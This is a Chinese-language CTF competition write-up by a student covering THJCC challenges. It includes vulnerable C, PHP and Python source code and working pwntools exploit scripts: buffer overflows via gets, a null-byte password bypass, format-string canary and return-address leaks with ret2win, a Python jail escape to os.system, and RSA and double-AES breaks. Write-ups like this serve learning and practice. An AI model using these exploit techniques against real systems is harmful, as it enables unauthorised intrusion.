這是我第二次打 THJCC 其實中間還有一次THJCC winter是當出題者 但出的不好 程度太菜 還是當參賽者應該比較合適 同時也在打資安女婕思初賽(輕鬆打~),不過影響不大
user: THJCC_wangwww
高中生賽場 rk. 3 總排 rk. 5
WarmUp Welcome
beep boop beep boop
Discord Challenge
Web Headless Postman
Nothing here 👀
APPL3 STOR3🍎 中間的 右邊的 id 跳過 87 Product_Prices 改 0 再點立即購買
Lime Ranger http://chal.ctf.scint.org:8004/?view
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 <?php session_start ();if (isset ($_GET ["view" ])){ show_source (__FILE__ ); exit (); } include "flag.php" ;if (!isset ($_SESSION ["balance" ])){ $_SESSION ["balance" ] = 4000 ; $_SESSION ["inventory" ] = array ("UR" => 0 , "SSR" => 0 , "SR" => 0 , "R" => 0 , "N" => 0 ); } if (isset ($_GET ["bonus_code" ])){ $code = $_GET ["bonus_code" ]; $new_inv = @unserialize ($code ); if (is_array ($new_inv )){ foreach ($new_inv as $key => $value ){ if (isset ($_SESSION ["inventory" ][$key ]) && is_numeric ($value )){ $_SESSION ["inventory" ][$key ] += $value ; } } } } if (isset ($_GET ["sellacc" ])){ if ($_SESSION ["inventory" ]["UR" ] + $_SESSION ["inventory" ]["SSR" ] >= 10 ){ exit ("$flag " ); } else { exit ('你的帳號不值錢!' ); } } $draw_result = "" ;if (isset ($_GET ["draw1" ])){ if ($_SESSION ["balance" ] < 40 ){ $draw_result = "寶石不足!" ; } else { $_SESSION ["balance" ] -= 40 ; $draw_result = "恭喜獲得:" . implode ("、" , draw (1 )); } } elseif (isset ($_GET ["draw10" ])){ if ($_SESSION ["balance" ] < 200 ){ $draw_result = "寶石不足!" ; } else { $_SESSION ["balance" ] -= 200 ; $draw_result = "恭喜獲得:" . implode ("、" , draw (6 )); } } function draw ($n ) { $out = []; for ($i = 1 ; $i <= $n ; $i ++){ $r = lcg_value (); $out [] = lookup ($r ); } return $out ; } function lookup ($r ) { if ($r <= 0.001 ){ $_SESSION ["inventory" ]["UR" ] += 1 ; return "UR 極稀有" ; } elseif ($r <= 0.004 ){ $_SESSION ["inventory" ]["SSR" ] += 1 ; return "SSR 超級稀有" ; } elseif ($r <= 0.009 ){ $_SESSION ["inventory" ]["SR" ] += 1 ; return "SR 稀有" ; } elseif ($r <= 0.016 ){ $_SESSION ["inventory" ]["R" ] += 1 ; return "R 高級" ; } else { $_SESSION ["inventory" ]["N" ] += 1 ; return "N 普通" ; } } $characterNames = [ "UR" => "傳說守護者" , "SSR" => "超級英雄" , "SR" => "精英戰士" , "R" => "勇敢士兵" , "N" => "新手戰士" ]; ?> <!DOCTYPE html> <html lang="zh-TW" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>Lime RANGER</title> <link rel="stylesheet" href="style.css" > </head> <body> <div class ="container "> <div class ="header "> <h1 >Lime RANGER </h1 > </div > <div class ="user -info "> <div class ="balance "> <div class ="balance -icon ">💎</div > <div class ="balance -info "> <span >你的寶石</span > <strong ><?=$_SESSION ["balance "];?></strong > </div > </div > <div class ="user -id ">玩家ID : <?=session_id ();?></div > </div > <div class ="inventory "> <h3 >你的角色收藏</h3 > <div class ="inventory -grid "> <div class ="inventory -item UR "> <h4 >UR </h4 > <p ><?=$_SESSION ["inventory "]["UR "];?></p > <small ><?=$characterNames ["UR "];?></small > <div class ="character -tooltip ">極稀有角色,機率:0.1%</div > </div > <div class ="inventory -item SSR "> <h4 >SSR </h4 > <p ><?=$_SESSION ["inventory "]["SSR "];?></p > <small ><?=$characterNames ["SSR "];?></small > <div class ="character -tooltip ">超級稀有角色,機率:0.3%</div > </div > <div class ="inventory -item SR "> <h4 >SR </h4 > <p ><?=$_SESSION ["inventory "]["SR "];?></p > <small ><?=$characterNames ["SR "];?></small > <div class ="character -tooltip ">稀有角色,機率:0.5%</div > </div > <div class ="inventory -item R "> <h4 >R </h4 > <p ><?=$_SESSION ["inventory "]["R "];?></p > <small ><?=$characterNames ["R "];?></small > <div class ="character -tooltip ">高級角色,機率:0.7%</div > </div > <div class ="inventory -item N "> <h4 >N </h4 > <p ><?=$_SESSION ["inventory "]["N "];?></p > <small ><?=$characterNames ["N "];?></small > <div class ="character -tooltip ">普通角色,機率:98.4%</div > </div > </div > </div > <form class ="draw -buttons " method ="GET "> <button type ="submit " name ="draw1 " class ="draw -button "> 單抽 <span class ="draw -cost ">消耗40寶石</span > </button > <button type ="submit " name ="draw10 " class ="draw -button premium "> 5+1連抽 <span class ="draw -cost ">消耗200寶石</span > </button > </form > <form class ="sellacc -container " method ="GET "> <button type ="submit " name ="sellacc " class ="draw -button sellacc -button "> 出售帳號 </button > </form > <div class ="bonus -section "> <h3 >活動獎勵</h3 > <p >輸入獎勵碼以領取額外角色</p > <form method ="GET "> <input type ="text " name ="bonus_code "size ="80"> <button type ="submit ">領取獎勵</button > </form > </div > <?php if ($draw_result ): ?> <div class ="result "> <h2 >抽獎結果</h2 > <p ><?=$draw_result ;?></p > </div > <?php endif ; ?> <div class ="footer "> <span >© 2025 Lime RANGER </span > <a href ="?view " class ="source -link ">查看源碼</a > </div > </div > <script > function createSparkles () { const items = document.querySelectorAll ('.inventory-item.UR, .inventory-item.SSR' ); items.forEach (item => { for (let i = 0 ; i < 3 ; i++){ const sparkle = document.createElement ('div' ); sparkle.classList.add ('sparkle' ); const posX = Math.random () * 100 ; const posY = Math.random () * 100 ; sparkle.style.left = `${posX}%`; sparkle.style.top = `${posY}%`; const size = 3 + Math.random () * 3 ; sparkle.style.width = `${size}px`; sparkle.style.height = `${size}px`; const hue = item.classList.contains ('UR' ) ? '45' : '210' ; sparkle.style.background = `hsl (${hue}, 100 %, 75 %)`; const duration = 1 + Math.random () * 2 ; const delay = Math.random () * 2 ; sparkle.style.animation = `sparkle ${duration}s infinite ${delay}s`; item.appendChild (sparkle); } }); } window.addEventListener ('DOMContentLoaded' , () => { createSparkles (); const buttons = document.querySelectorAll ('.draw-button' ); buttons.forEach (button => { button.addEventListener ('click' , function(){ this.style.transform = 'scale(0.95)' ; setTimeout (() => { this.style.transform = '' ; }, 100 ); }); }); }); </script> </body> </html>
用 bonus_code 傳入序列化 array 增加 UR,SSR,然後 sellacc 點出售帳號
Misc network noise 用記事本開 capture.pcap
Seems like someone’s breaking down😂 app.log 裡面都是試圖攻擊的紀錄 滑到底發現一組登入成功的帳密 猜真flag可能也在base64 唯一不一樣的
Setsuna Message GPT 解讀提示的執行和第八層地獄,猜測 Malbolge,這是公認最難寫、最混亂的語言之一
Hidden in memory… 下載 memdump.rar 解壓縮得 memdump.dmp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PS C:\Users\x\Downloads\ctf\THJCC2\memdump> vol -f .\memdump.dmp windows.info Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Variable Value Kernel Base 0xf80646619000 DTB 0x1ad000 Symbols file:///C:/Users/x/AppData/Local/Programs/Python/Python311/Lib/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/89284D0CA6ACC8274B9A44BD5AF9290B-1.json.xz Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 WindowsCrashDump64Layer base_layer 2 FileLayer KdVersionBlock 0xf806472283a0 Major/Minor 15.19041 MachineType 34404 KeNumberProcessors 2 SystemTime 2025-03-18 04:04:46+00:00 NtSystemRoot C:\Windows NtProductType NtProductWinNt NtMajorVersion 10 NtMinorVersion 0 PE MajorOperatingSystemVersion 10 PE MinorOperatingSystemVersion 0 PE Machine 34404 PE TimeDateStamp Fri May 20 08:24:42 2101
沒有,改找 Registry hive
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PS C:\Users\x\Downloads\ctf\THJCC2\memdump> vol -f memdump.dmp windows.registry.hivelist Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Offset FileFullPath File output 0xd80b47676000 Disabled 0xd80b4768d000 \REGISTRY\MACHINE\SYSTEM Disabled 0xd80b47731000 \REGISTRY\MACHINE\HARDWARE Disabled 0xd80b4a17e000 \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD Disabled 0xd80b4a040000 \SystemRoot\System32\Config\SOFTWARE Disabled 0xd80b4acbe000 \SystemRoot\System32\Config\DEFAULT Disabled 0xd80b4ae03000 \SystemRoot\System32\Config\SECURITY Disabled 0xd80b4ae77000 \SystemRoot\System32\Config\SAM Disabled 0xd80b4af90000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT Disabled 0xd80b4b0b1000 \SystemRoot\System32\Config\BBI Disabled 0xd80b4b114000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT Disabled 0xd80b4b6b8000 \??\C:\Users\WH3R3-Y0U-G3TM3\ntuser.dat Disabled 0xd80b4b706000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Microsoft\Windows\UsrClass.dat Disabled 0xd80b4c1df000 \??\C:\Windows\AppCompat\Programs\Amcache.hve Disabled 0xd80b4cd6a000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.19041.1023_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled 0xd80b4cd88000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat Disabled 0xd80b4cdd3000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Search_1.14.9.19041_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled 0xd80b4ce8f000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat Disabled 0xd80b4df8f000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\ActivationStore.dat Disabled 0xd80b4ee8e000 \??\C:\Users\WH3R3-Y0U-G3TM3\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat Disabled 0xd80b4efdc000 \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.2.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled
C:\Users\WH3R3-Y0U-G3TM3
使用者名稱可能跟電腦名稱一樣THJCC{WH3R3-Y0U-G3TM3}
Pyjail02 jail.py
1 2 3 4 5 import unicodedatainpt = unicodedata.normalize("NFKC" , input ("> " )) print (eval (inpt, {"__builtins__" :{}}, {}))
貼給GPT,得知os._wrap_close
class 是 os 模組的一部分,可以從這個 class 把 os 模組「拉回來」,然後用 os.system() 或 os.popen() 之類的東西來執行系統指令 關鍵字搜尋再數一下,找到 os._wrap_close 的 index 141
Pyjail01 jail.py
1 2 3 4 5 6 7 8 9 10 11 12 import unicodedata, string_ = string.ascii_letters while True : inpt = unicodedata.normalize("NFKC" , input ("> " )) for i in inpt: if i in _: raise NameError("No ASCII letters!" ) exec (inpt)
Pwn chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <stdio.h> #include <stdlib.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); printf (" Welcome to the FLAG SHOP!!!\n" ); printf ("===================================================\n\n" ); int money = 100 ; int price[4 ] = {0 , 25 , 20 , 123456789 }; int own[4 ] = {}; int option = 0 ; long long num = 0 ; while (1 ){ printf ("Which one would you like? (enter the serial number)\n" ); printf ("1. Coffee\n" ); printf ("2. Tea\n" ); printf ("3. Flag\n> " ); scanf ("%d" , &option); if (option < 1 || option > 3 ){ printf ("invalid option\n" ); continue ; } printf ("How many do you need?\n> " ); scanf ("%lld" , &num); if (num < 1 ){ printf ("invalid number\n" ); continue ; } if (money < price[option]*(int )num){ printf ("You only have %d, " , money); printf ("But it cost %d * %d = %d\n" , price[option], (int )num, price[option]*(int )num); continue ; } money -= price[option]*(int )num; own[option] += num; if (own[3 ]){ printf ("flag{fake_flag}" ); exit (0 ); } } }
1 2 >>> 2147483647//123456789 17
Money Overflow chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #include <stdio.h> #include <stdlib.h> void init () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); } struct { int id; char name[20 ]; unsigned short money; } customer; void shop (int choice) { switch (choice) { case 1 : if (customer.money >= 100 ) { customer.money -= 100 ; printf ("Here is your cake: %s" , "🍰\n" ); } else printf ("Not enough money QQ\n" ); break ; case 2 : if (customer.money >= 50 ) { customer.money -= 50 ; printf ("Here is your bun: %s" , "🥖\n" ); } else printf ("Not enough money QQ\n" ); break ; case 3 : if (customer.money >= 25 ) { customer.money -= 25 ; printf ("Here is your cookie: %s" , "🍪\n" ); } else printf ("Not enough money QQ\n" ); break ; case 4 : if (customer.money >= 10 ) { customer.money -= 10 ; printf ("Here is your water: %s" , "💧\n" ); } else printf ("Not enough money QQ\n" ); break ; case 5 : if (customer.money >= 65535 ) { system("/bin/sh" ); exit (0 ); } else printf ("Not enough money QQ\n" ); break ; default : printf ("Not an available choice\n" ); break ; } if (customer.money <= 0 ) { printf ("No money QQ\n" ); exit (0 ); } } void main () { init(); customer.id = 1 ; customer.money = 100 ; printf ("Enter your name: " ); gets(customer.name); int choice; while (1 ) { printf ("1) cake 100$\n" ); printf ("2) bun 50$\n" ); printf ("3) cookie 25$\n" ); printf ("4) water 15$\n" ); printf ("5) get shell 65535$\n" ); printf ("Your money : %d$\n" , customer.money); printf ("Buy > " ); scanf ("%d" , &choice); shop(choice); } }
exploit.py
1 2 3 4 5 6 from pwn import *r = remote('chal.ctf.scint.org' ,10001 ) r.sendlineafter(b'name: ' ,b'a' *20 +b'\xff\xff' ) r.interactive()
Insecure Shell chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> void init () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); } int check_password (char *password, char *buf, int buf_len) { for (int i = 0 ; i < buf_len; i++) if (password[i] != buf[i]) return 1 ; return 0 ; } int main () { init(); char password[0x10 ]; char buf[0x10 ]; int fd = open("/dev/urandom" , O_RDONLY); if (fd < 0 ) { printf ("Error opening /dev/urandom. If you see this. call admin" ); return 1 ; } read(fd, password, 15 ); printf ("Enter the password >" ); scanf ("%15s" , buf); if (check_password(password, buf, strlen (buf))) printf ("Wrong password!\n" ); else system("/bin/sh" ); }
要讓 buf_len 為0 但 scanf 無法只輸入 \x00,且 \x00 表示輸入結束,後面東西不會被讀取到 exploit.py
1 2 3 4 5 6 from pwn import * from Crypto.Util.number import * r = remote('chal.ctf.scint.org' ,10004 ) r.sendlineafter(b' password >',b' \x00aaa' ) r.interactive()
Once chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> void init () { setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); } char charset[] = "!\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ;void main () { char secret[0x10 ]; char buf[0x10 ]; char is_sure = 'y' ; init(); srand(time(NULL )); for (int i = 0 ; i < 15 ; i++) { secret[i] = charset[rand() % strlen (charset)]; } secret[15 ] = 0 ; printf ("Guess the secret, you only have one chance\n" ); while (1 ) { printf ("guess >" ); scanf ("%15s" , buf); getchar(); printf ("Your guess: " ); printf (buf); printf ("\n" ); printf ("Are you sure? [y/n] >" ); scanf ("%1c" , &is_sure); getchar(); if (is_sure == 'y' ) { if (!strcmp (buf, secret)) { printf ("Correct answer!\n" ); system("/bin/sh" ); } else { printf ("Incorrect answer\n" ); printf ("Correct answer is %s\n" , secret); break ; } } } }
format string 攻擊 輸入 15 個 a 看 secret 和 buf 在 stack 位址 secret[15] => rsp + 0x10、rsp + 0x18 => %8$p
、%9$p
buf[15] => rsp + 0x20、rsp + 0x28
Little Parrot chal.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdlib.h> #include <stdio.h> #include <string.h> void win () { printf ("\nYou win!\n" ); printf ("Here is your flag: flag{fake_flag}" ); fflush(stdout ); } int parrot () { char buf[0x100 ]; printf ("I'm a little parrot, and I'll repeat whatever you said!(or exit)\n> " ); while (1 ){ fflush(stdout ); fgets(buf, sizeof (buf), stdin ); if (!strcmp (buf, "exit\n" )){ break ; } printf ("You said > " ); printf (buf); printf ("> " ); fflush(stdout ); } } int main () { parrot(); char buf[0x30 ]; printf ("anything left to say?\n> " ); fflush(stdout ); getchar(); gets(buf); printf ("You said > %s" , buf); fflush(stdout ); return 0 ; }
一樣 format string 攻擊 先在 parrot() 的 printf(buf) 讀 canary,然後 main 的 gets() 不限長度,用來覆蓋 canary 和 ret addr,ret to win() 先讀 ret addr 算出 base,再算出 win() 的位址 canary 在 rsp + 0x108 => %39$p
old rbp 在 rsp + 0x110 ret addr 在 rsp + 0x118 => %41$p
gets(v4) 要先填充 0x38 個字元才會遇到 canary parrot() 的 ret addr 是 offset 0x136c win() 是 offset 0x1229
payload 要先給 getchar() 吃一個字元 exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *r = remote('chal.ctf.scint.org' ,10103 ) r.sendlineafter(b'> ' ,b'%39$p' ) canary = int (r.recvline().decode().strip().split(' > ' )[1 ],16 ) print (hex (canary))r.sendlineafter(b'> ' ,b'%41$p' ) ret = int (r.recvline().decode().strip().split(' > ' )[1 ],16 ) print (hex (ret))base = ret - 0x136c win = base + 0x1229 r.sendlineafter(b'> ' ,b'exit' ) payload = b'\n' + b"a" * 0x38 + p64(canary) + b"a" *8 + p64(win) r.sendlineafter(b'> ' ,payload) r.interactive()
Crypto Twins chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import *from secret import FLAGdef generate_twin_prime (N:int ): while True : p = getPrime(N) if isPrime(p + 2 ): return p, p + 2 p, q = generate_twin_prime(1024 ) N = p * q e = 0x10001 m = bytes_to_long(FLAG) C = pow (m, e, N) print (f"{N = } " )print (f"{e = } " )print (f"{C = } " )
p q 只差 2 exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Util.number import *from math import isqrtN = 28265512785148668054687043164424479693022518403222612488086445701689124273153696780242227509530772578907204832839238806308349909883785833919803783017981782039457779890719524768882538916689390586069021017913449495843389734501636869534811161705302909526091341688003633952946690251723141803504236229676764434381120627728396492933432532477394686210236237307487092128430901017076078672141054391434391221235250617521040574175917928908260464932759768756492640542972712185979573153310617473732689834823878693765091574573705645787115368785993218863613417526550074647279387964173517578542035975778346299436470983976879797185599 e = 65537 C = 1234497647123308288391904075072934244007064896189041550178095227267495162612272877152882163571742252626259268589864910102423177510178752163223221459996160714504197888681222151502228992956903455786043319950053003932870663183361471018529120546317847198631213528937107950028181726193828290348098644533807726842037434372156999629613421312700151522193494400679327751356663646285177221717760901491000675090133898733612124353359435310509848314232331322850131928967606142771511767840453196223470254391920898879115092727661362178200356905669261193273062761808763579835188897788790062331610502780912517243068724827958000057923 p = isqrt(1 + N) - 1 q = p + 2 phi = (p - 1 ) * (q - 1 ) d = inverse(e, phi) m = pow (C, d, N) flag = long_to_bytes(m) print (flag)
DAES chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Cipher import AESfrom secret import FLAGimport randomimport osimport signalTIMEOUT = 120 def timeout_handler (signum, frame ): print ("\nTime's up! No flag for u..." ) exit() signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(TIMEOUT) target = os.urandom(16 ) keys = [b'whalekey:' + str (random.randrange(1000000 , 1999999 )).encode() for _ in range (2 )] def enc (key, msg ): ecb = AES.new(key, AES.MODE_ECB) return ecb.encrypt(msg) def daes (msg ): tmp = enc(keys[0 ], msg) return enc(keys[1 ], tmp) test = b'you are my fire~' print (daes(test).hex ())print (daes(target).hex ())ans = input ("Ans:" ) if ans == target.hex (): print (FLAG) else : print ("Nah, no flag for u..." ) signal.alarm(0 )
exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *from Crypto.Cipher import AESr = remote('chal.ctf.scint.org' , 12003 ) prefix = b'whalekey:' keyspace = [prefix + str (i).encode() for i in range (1000000 , 2000000 )] line1 = r.recvline().strip().decode() line2 = r.recvline().strip().decode() enc_plain = bytes .fromhex(line1) enc_target = bytes .fromhex(line2) plain = b'you are my fire~' enc1_dict = {} for i, k1 in enumerate (keyspace): cipher1 = AES.new(k1, AES.MODE_ECB) enc1 = cipher1.encrypt(plain) enc1_dict[enc1] = k1 if i % 50000 == 0 : pass print ("Start key2" )found = False for i, k2 in enumerate (keyspace): cipher2 = AES.new(k2, AES.MODE_ECB) dec1 = cipher2.decrypt(enc_plain) if dec1 in enc1_dict: key1 = enc1_dict[dec1] key2 = k2 print (f"key1 = {key1} " ) print (f"key2 = {key2} " ) found = True break if i % 50000 == 0 : pass cipher2 = AES.new(key2, AES.MODE_ECB) cipher1 = AES.new(key1, AES.MODE_ECB) enc1 = cipher2.decrypt(enc_target) target = cipher1.decrypt(enc1) print (f"target = {target.hex ()} " )r.sendline(target.hex ().encode()) r.interactive()
Frequency Freakout cipher.txt
1 2 3 4 5 6 7 MW RUB LGSEC GN TEYDDMTYE TSZJRGASYJUZ, IYWZ BWRUFDMYDRD XBAMW LMRU DMIJEB DFXDRMRFRMGW TMJUBSD. RUBDB XYDMT RBTUWMHFBD CBIGWDRSYRB RUB VFEWBSYXMEMRZ GN EBRRBS NSBHFBWTZ YWC DUGL UGL TBSRYMW JYRRBSWD TYW SBVBYE UMCCBW IBDDYABD. GWB GN RUB IGDR BPTMRMWA BPBSTMDBD MW EBYSWMWA YXGFR TMJUBSD MD RSZMWA RG TGWDRSFTR ZGFS GLW YWC TUYEEBWAB GRUBSD RG XSBYQ MR. LUMEB IGCBSW BWTSZJRMGW IBRUGCD UYVB NYS DFSJYDDBC RUBDB RBTUWMHFBD MW TGIJEBPMRZ YWC DRSBWARU, RUB NFWCYIBWRYE MCBYD SBIYMW NYDTMWYRMWA. MN ZGF'SB FJ NGS Y JFOOEB, UBSB'D Y TUYEEBWAB: RUKTT{DFXDR1R1GW_TMJU3S_1D_TGG1} -K RUMD IMAUR EGGQ EMQB Y SYWCGI DRSMWA, XFR MR'D WGR. UMCCBW LMRUMW RUMD DBHFBWTB MD RUB QBZ RG FWCBSDRYWCMWA UGL DMIJEB EBRRBS DFXDRMRFRMGW TYW DRMEE DJYSQ TFSMGDMRZ YWC NFW. RSZ CBTGCMWA MR GS BIXBCCMWA MR LMRUMW ZGFS GLW TMJUBS. LUG QWGLD? ZGF IMAUR KFDR MWDJMSB DGIBGWB BEDB RG CMVB MWRG RUB LGSEC GN TSZJRYWYEZDMD.
SNAKE chal.py
1 2 SSSSS = input () print ("" .join(["!@#$%^&*(){}[]:;" [int (x, 2 )] for x in ['' .join(f"{ord (c):08b} " for c in SSSSS)[i:i+4 ] for i in range (0 , len (SSSSS) * 8 , 4 )]]))
exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ciphertext = "^$&:&@&}&^*$#!&@*#&^#!&^&[&;&:&*&@*%&^&%#!&[&)&]&#&[&^*$*$#!*#&^*!*%&)&[&^*$#!&;&&#!*%&(&^#!*$*^&#&;*#&%&^*##!^$&^*#*!&^&:*%&^*$#:#!%$&[&@&%&)*$*%&)&$&@&[&[*)#!*$*@*^&@&]&@*%&^*$#[#!*$&:&@&}&^*$#!&@*#&^#!&^&$*%&;*%&(&^*#&]&)&$#[#!&@&]&:&)&;*%&^#!*&&^*#*%&^&#*#&@*%&^*$#!&$&;*&&^*#&^&%#!&)&:#!&;*&&^*#&[&@*!*!&)&:&*#!*$&$&@&[&^*$#!&]*^&$&(#!&[&)&}&^#!&;*%&(&^*##!&]&^&]&#&^*#*$#!&;&&#!*%&(&^#!&**#&;*^*!#:#!%]&@&:*)#!*$*!&^&$&)&^*$#!&;&&#!*$&:&@&}&^*$#!&(&@*&&^#!*$&}*^&[&[*$#!**&)*%&(#!*$&^*&&^*#&@&[#!&]&;*#&^#!&{&;&)&:*%*$#!*%&(&@&:#!*%&(&^&)*##!&[&)*{&@*#&%#!&@&:&$&^*$*%&;*#*$#!&@&:&%#!*#&^&[&@*%&)*&&^*$#[#!&^&:&@&#&[&)&:&*#!*%&(&^&]#!*%&;#!*$**&@&[&[&;**#!*!*#&^*)#!&]*^&$&(#!&[&@*#&*&^*##!*%&(&@&:#!*%&(&^&)*##!&(&^&@&%*$#!#(&$*#&@&:&)&@&[#!&}&)&:&^*$&)*$#)#:#!^%&;#!&@&$&$&;&]&]&;&%&@*%&^#!*%&(&^&)*##!&:&@*#*#&;**#!&#&;&%&)&^*$#[#!*$&:&@&}&^*$#*#!*!&@&)*#&^&%#!&;*#&*&@&:*$#!#(*$*^&$&(#!&@*$#!&}&)&%&:&^*)*$#)#!&@*!*!&^&@*##!&;&:&^#!&)&:#!&&*#&;&:*%#!&;&&#!*%&(&^#!&;*%&(&^*##!&)&:*$*%&^&@&%#!&;&&#!*$&)&%&^#!&#*)#!*$&)&%&^#[#!&@&:&%#!&]&;*$*%#!&;&:&[*)#!&(&@*&&^#!&;&:&^#!&&*^&:&$*%&)&;&:&@&[#!&[*^&:&*#:#!^$&;&]&^#!*$*!&^&$&)&^*$#!*#&^*%&@&)&:#!&@#!*!&^&[*&&)&$#!&*&)*#&%&[&^#!**&)*%&(#!&@#!*!&@&)*##!&;&&#!*&&^*$*%&)&*&)&@&[#!&$&[&@***$#!&;&:#!&^&)*%&(&^*##!*$&)&%&^#!&;&&#!*%&(&^#!&$&[&;&@&$&@#:#!%[&)*{&@*#&%*$#!&(&@*&&^#!&)&:&%&^*!&^&:&%&^&:*%&[*)#!&^*&&;&[*&&^&%#!&^&[&;&:&*&@*%&^#!&#&;&%&)&^*$#!**&)*%&(&;*^*%#!&[&)&]&#*$#!&;*##!**&)*%&(#!&**#&^&@*%&[*)#!*#&^&%*^&$&^&%#!&[&)&]&#*$#!&@*%#!&[&^&@*$*%#!*%**&^&:*%*)#]&&&)*&&^#!*%&)&]&^*$#!*&&)&@#!&$&;&:*&&^*#&*&^&:*%#!&^*&&;&[*^*%&)&;&:#[#!&[&^&@&%&)&:&*#!*%&;#!&]&@&:*)#!&[&)&:&^&@&*&^*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#:#!^%&(&^*$&^#!*#&^*$&^&]&#&[&^#!*$&:&@&}&^*$#[#!&#*^*%#!*$&^*&&^*#&@&[#!&$&;&]&]&;&:#!&**#&;*^*!*$#!&;&&#!&[&^&*&[&^*$*$#!&[&)*{&@*#&%*$#!&(&@*&&^#!&^*)&^&[&)&%*$#!&@&:&%#!&^*(*%&^*#&:&@&[#!&^&@*#*$#[#!**&(&)&$&(#!*$&:&@&}&^*$#!&[&@&$&}#[#!&@&[*%&(&;*^&*&(#!*%&(&)*$#!*#*^&[&^#!&)*$#!&:&;*%#!*^&:&)*&&^*#*$&@&[#!#(*$&^&^#!%@&]*!&(&)*$&#&@&^&:&)&@#[#!%%&)&#&@&]&)&%&@&^#[#!&@&:&%#!^!*)&*&;*!&;&%&)&%&@&^#)#:#!&#&[&@&#&[&@&#&[&@#!%(&^*#&^#!&)*$#!*)&;*^*##!&&&[&@&*${#!^%%(%{%$%$*}^$%:%@%}$$$$$$$$$$$$$$$$$$$$$$$$$